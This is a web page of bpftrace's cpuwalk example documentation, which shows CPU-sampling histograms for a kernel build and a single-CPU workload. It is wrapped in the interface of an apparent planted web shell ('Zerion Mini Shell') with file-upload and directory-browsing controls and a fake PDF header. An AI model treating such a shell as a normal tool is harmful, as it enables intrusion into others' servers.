%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/doc/bpftrace/examples/
Upload File :
Create Path :
Current File : //usr/share/doc/bpftrace/examples/cpuwalk_example.txt

Demonstrations of cpuwalk, the Linux bpftrace/eBPF version.


cpuwalk samples which CPUs processes are running on, and prints a summary
histogram. For example, here is a Linux kernel build on a 36-CPU server:

# ./cpuwalk.bt
Attaching 2 probes...
Sampling CPU at 99hz... Hit Ctrl-C to end.
^C

@cpu:
[0, 1)               130 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    |
[1, 2)               137 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  |
[2, 3)                99 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                |
[3, 4)                99 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                |
[4, 5)                82 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                      |
[5, 6)                34 |@@@@@@@@@@@@                                        |
[6, 7)                67 |@@@@@@@@@@@@@@@@@@@@@@@@                            |
[7, 8)                41 |@@@@@@@@@@@@@@@                                     |
[8, 9)                97 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                |
[9, 10)              140 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[10, 11)             105 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@             |
[11, 12)              77 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@                        |
[12, 13)              39 |@@@@@@@@@@@@@@                                      |
[13, 14)              58 |@@@@@@@@@@@@@@@@@@@@@                               |
[14, 15)              64 |@@@@@@@@@@@@@@@@@@@@@@@                             |
[15, 16)              57 |@@@@@@@@@@@@@@@@@@@@@                               |
[16, 17)              99 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                |
[17, 18)              56 |@@@@@@@@@@@@@@@@@@@@                                |
[18, 19)              44 |@@@@@@@@@@@@@@@@                                    |
[19, 20)              80 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                       |
[20, 21)              64 |@@@@@@@@@@@@@@@@@@@@@@@                             |
[21, 22)              59 |@@@@@@@@@@@@@@@@@@@@@                               |
[22, 23)              88 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                    |
[23, 24)              84 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                     |
[24, 25)              29 |@@@@@@@@@@                                          |
[25, 26)              48 |@@@@@@@@@@@@@@@@@                                   |
[26, 27)              62 |@@@@@@@@@@@@@@@@@@@@@@@                             |
[27, 28)              66 |@@@@@@@@@@@@@@@@@@@@@@@@                            |
[28, 29)              57 |@@@@@@@@@@@@@@@@@@@@@                               |
[29, 30)              59 |@@@@@@@@@@@@@@@@@@@@@                               |
[30, 31)              56 |@@@@@@@@@@@@@@@@@@@@                                |
[31, 32)              23 |@@@@@@@@                                            |
[32, 33)              90 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                   |
[33, 34)              62 |@@@@@@@@@@@@@@@@@@@@@@@                             |
[34, 35)              39 |@@@@@@@@@@@@@@                                      |
[35, 36)              68 |@@@@@@@@@@@@@@@@@@@@@@@@@                           |

This shows that all 36 CPUs were active, with some busier than others.


Compare that output to the following workload from an application:

# ./cpuwalk.bt
Attaching 2 probes...
Sampling CPU at 99hz... Hit Ctrl-C to end.
^C

@cpu:
[6, 7)               243 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[7, 8)                 0 |                                                    |
[8, 9)                 0 |                                                    |
[9, 10)                0 |                                                    |
[10, 11)               0 |                                                    |
[11, 12)               0 |                                                    |
[12, 13)               0 |                                                    |
[13, 14)               0 |                                                    |
[14, 15)               0 |                                                    |
[15, 16)               0 |                                                    |
[16, 17)               0 |                                                    |
[17, 18)               0 |                                                    |
[18, 19)               0 |                                                    |
[19, 20)               0 |                                                    |
[20, 21)               1 |                                                    |

In this case, only a single CPU (6) is really active doing work. Only a single
sample was taken of another CPU (20) running a process. If the workload was
supposed to be making use of multiple CPUs, it isn't, and that can be
investigated (application's configuration, number of threads, CPU binding, etc).

Zerion Mini Shell 1.0